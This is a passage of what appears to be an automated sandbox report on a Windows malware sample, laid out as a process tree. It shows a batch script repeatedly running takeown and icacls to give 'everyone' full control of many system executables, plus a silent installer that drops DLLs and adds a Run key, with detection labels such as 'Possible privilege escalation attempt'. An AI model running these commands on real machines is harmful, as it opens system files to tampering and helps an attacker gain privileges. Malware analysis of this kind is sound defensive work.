        icacls "C:\Windows\Boot\PCAT\memtest.exe" /grant "everyone":(f)
        5⤵
        
        PID:4856
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\BrowserCore\BrowserCore.exe"
      4⤵
      PID:4208
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\BrowserCore\BrowserCore.exe"
        5⤵
        
        PID:5772
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\BrowserCore\BrowserCore.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:6136
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\explorer.exe"
      4⤵
      PID:4316
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\explorer.exe"
        5⤵
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:576
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\explorer.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:5476
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\HelpPane.exe"
      4⤵
      PID:4972
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\HelpPane.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:2260
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\HelpPane.exe" /grant "everyone":(f)
        5⤵
        
        PID:4852
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\hh.exe"
      4⤵
      PID:4916
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\hh.exe"
        5⤵
        
        PID:2056
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\hh.exe" /grant "everyone":(f)
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5280
  - - C:\Users\Admin\AppData\Local\Temp\INSTALLER.exe
      INSTALLER.exe /q
      4⤵
      Boot or Logon Autostart Execution: Active Setup
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      Drops file in Windows directory
      Suspicious use of SetWindowsHookEx
      PID:1256
    - - C:\Windows\SysWOW64\regsvr32.exe
        
        regsvr32 /s C:\Windows\lhsp\tv\tv_enua.dll
        5⤵
        Loads dropped DLL
        
        PID:4340
    - - C:\Windows\SysWOW64\regsvr32.exe
        
        regsvr32 /s C:\Windows\lhsp\tv\tvenuax.dll
        5⤵
        Loads dropped DLL
        Modifies registry class
        
        PID:1704
    - - C:\Windows\SysWOW64\grpconv.exe
        
        grpconv.exe -o
        5⤵
        Loads dropped DLL
        
        PID:1784
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\ImmersiveControlPanel\SystemSettings.exe"
      4⤵
      PID:4356
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\ImmersiveControlPanel\SystemSettings.exe"
        5⤵
        
        PID:1476
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\ImmersiveControlPanel\SystemSettings.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:6100
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\acrobroker.exe"
      4⤵
      PID:4616
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\acrobroker.exe"
        5⤵
        
        PID:6124
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\acrobroker.exe" /grant "everyone":(f)
        5⤵
        
        PID:4092
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\AcroRd32.exe"
      4⤵
      PID:3832
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\AcroRd32.exe"
        5⤵
        
        PID:664
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\AcroRd32.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:5280
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\AcroRd32Info.exe"
      4⤵
      PID:2136
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\AcroRd32Info.exe"
        5⤵
        Modifies file permissions
        
        PID:2600
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\AcroRd32Info.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:3100
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\acrotextextractor.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3444
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\acrotextextractor.exe"
        5⤵
        Modifies file permissions
        
        PID:2480
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\acrotextextractor.exe" /grant "everyone":(f)
        5⤵
        
        PID:5820
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\adelrcp.exe"
      4⤵
      PID:4428
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\adelrcp.exe"
        5⤵
        Possible privilege escalation attempt
        System Location Discovery: System Language Discovery
        
        PID:5260
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\adelrcp.exe" /grant "everyone":(f)
        5⤵
        
        PID:2656
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\AdobeCollabSync.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2424
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\AdobeCollabSync.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:4028
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\AdobeCollabSync.exe" /grant "everyone":(f)
        5⤵
        
        PID:1568
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\eula.exe"
      4⤵
      PID:6040
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\eula.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5248
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\eula.exe" /grant "everyone":(f)
        5⤵
        
        PID:3796
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\logtransport2.exe"
      4⤵
      PID:3676
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\logtransport2.exe"
        5⤵
        
        PID:5728
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\logtransport2.exe" /grant "everyone":(f)
        5⤵
        
        PID:1656
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\rdrservicesupdater.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4076
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5476
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\rdrservicesupdater.exe"
        5⤵
        
        PID:5384
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\rdrservicesupdater.exe" /grant "everyone":(f)
        5⤵
        
        PID:4164
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\reader_sl.exe"
      4⤵
      PID:5736
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\reader_sl.exe"
        5⤵
        
        PID:1732
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\reader_sl.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:5996
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\wow_helper.exe"
      4⤵
      PID:5788
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\wow_helper.exe"
        5⤵
        Modifies file permissions
        
        PID:1976
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\wow_helper.exe" /grant "everyone":(f)
        5⤵
        
        PID:5368
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\_4bitmapibroker.exe"
      4⤵
      PID:2852
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\_4bitmapibroker.exe"
        5⤵
        
        PID:1616
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\_4bitmapibroker.exe" /grant "everyone":(f)
        5⤵
        
        PID:4948
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe"
      4⤵
      PID:3564
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe"
        5⤵
        
        PID:3780
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe" /grant "everyone":(f)
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4036
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\assembly\GAC_64\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe"
      4⤵
      PID:3580
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\assembly\GAC_64\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe"
        5⤵
        
        PID:896
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\assembly\GAC_64\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe" /grant "everyone":(f)
        5⤵
        
        PID:4740
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\ComSvcConfig\v4.0_4.0.0.0__b03f5f7f11d50a3a\ComSvcConfig.exe"
      4⤵
      PID:4704
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\ComSvcConfig\v4.0_4.0.0.0__b03f5f7f11d50a3a\ComSvcConfig.exe"
        5⤵
        
        PID:1332
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\ComSvcConfig\v4.0_4.0.0.0__b03f5f7f11d50a3a\ComSvcConfig.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:3788
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\dfsvc\v4.0_4.0.0.0__b03f5f7f11d50a3a\dfsvc.exe"
      4⤵
      PID:4052
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\dfsvc\v4.0_4.0.0.0__b03f5f7f11d50a3a\dfsvc.exe"
        5⤵
        
        PID:6020
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\dfsvc\v4.0_4.0.0.0__b03f5f7f11d50a3a\dfsvc.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:4388
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Workflow.Compiler\v4.0_4.0.0.0__31bf3856ad364e35\Microsoft.Workflow.Compiler.exe"
      4⤵
      PID:6100
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Workflow.Compiler\v4.0_4.0.0.0__31bf3856ad364e35\Microsoft.Workflow.Compiler.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4204
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Workflow.Compiler\v4.0_4.0.0.0__31bf3856ad364e35\Microsoft.Workflow.Compiler.exe" /grant "everyone":(f)
        5⤵
        
        PID:6008
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMSvcHost\v4.0_4.0.0.0__b03f5f7f11d50a3a\SMSvcHost.exe"
      4⤵
      PID:4608
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMSvcHost\v4.0_4.0.0.0__b03f5f7f11d50a3a\SMSvcHost.exe"
        5⤵
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:3916
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMSvcHost\v4.0_4.0.0.0__b03f5f7f11d50a3a\SMSvcHost.exe" /grant "everyone":(f)
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4240
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\WsatConfig\v4.0_4.0.0.0__b03f5f7f11d50a3a\WsatConfig.exe"
      4⤵
      PID:3904
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\WsatConfig\v4.0_4.0.0.0__b03f5f7f11d50a3a\WsatConfig.exe"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4844
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\WsatConfig\v4.0_4.0.0.0__b03f5f7f11d50a3a\WsatConfig.exe" /grant "everyone":(f)
        5⤵
        
        PID:2772
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\NETFXSBS10.exe"
      4⤵
      PID:5472
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\NETFXSBS10.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:4828
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\NETFXSBS10.exe" /grant "everyone":(f)
        5⤵
        
        PID:3568
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v2.0.50727\AppLaunch.exe"
      4⤵
      PID:1784
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v2.0.50727\AppLaunch.exe"
        5⤵
        
        PID:1700
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v2.0.50727\AppLaunch.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:5812
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe"
      4⤵
      PID:5436
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe"
        5⤵
        Modifies file permissions
        
        PID:2684
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe" /grant "everyone":(f)
        5⤵
        
        PID:6136
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_regbrowsers.exe"
      4⤵
      PID:1172
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_regbrowsers.exe"
        5⤵
        
        PID:2868
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_regbrowsers.exe" /grant "everyone":(f)
        5⤵
        
        PID:5824
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_regiis.exe"
      4⤵
      PID:3656
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_regiis.exe"
        5⤵
        
        PID:2432
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_regiis.exe" /grant "everyone":(f)
        5⤵
        
        PID:2056
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_regsql.exe"
      4⤵
      PID:4308
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_regsql.exe"
        5⤵
        
        PID:5820
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_regsql.exe" /grant "everyone":(f)
        5⤵
        
        PID:2632
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe"
      4⤵
      PID:3484
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:892
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe" /grant "everyone":(f)
        5⤵
        
        PID:948
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_wp.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1580
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_wp.exe"
        5⤵
        
        PID:2040
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_wp.exe" /grant "everyone":(f)
        5⤵
        
        PID:1840
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe"
      4⤵
      PID:5100
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe"
        5⤵
        
        PID:864
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe" /grant "everyone":(f)
        5⤵
        
        PID:576
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"
      4⤵
      PID:980
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"
        5⤵
        Modifies file permissions
        
        PID:3396
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /grant "everyone":(f)
        5⤵
        
        PID:3676
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe"
      4⤵
      PID:2180
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:4076
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe" /grant "everyone":(f)
        5⤵
        
        PID:5016
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v2.0.50727\dfsvc.exe"
      4⤵
      PID:3584
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v2.0.50727\dfsvc.exe"
        5⤵
        Modifies file permissions
        
        PID:5164
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v2.0.50727\dfsvc.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2620
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe"
      4⤵
      PID:6072
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe"
        5⤵
        
        PID:5788
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:1304
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v2.0.50727\IEExec.exe"
      4⤵
      PID:4876
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v2.0.50727\IEExec.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:1956
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v2.0.50727\IEExec.exe" /grant "everyone":(f)
        5⤵
        
        PID:4252
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v2.0.50727\ilasm.exe"
      4⤵
      PID:2256
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v2.0.50727\ilasm.exe"
        5⤵
        
        PID:1984
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v2.0.50727\ilasm.exe" /grant "everyone":(f)
        5⤵
        
        PID:728
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe"
      4⤵
      PID:5520
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:4180
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:5356
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe"
      4⤵
      PID:3636
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe"
        5⤵
        
        PID:1332
    - - C:\Windows\SysWOW64\icacls.exe
        
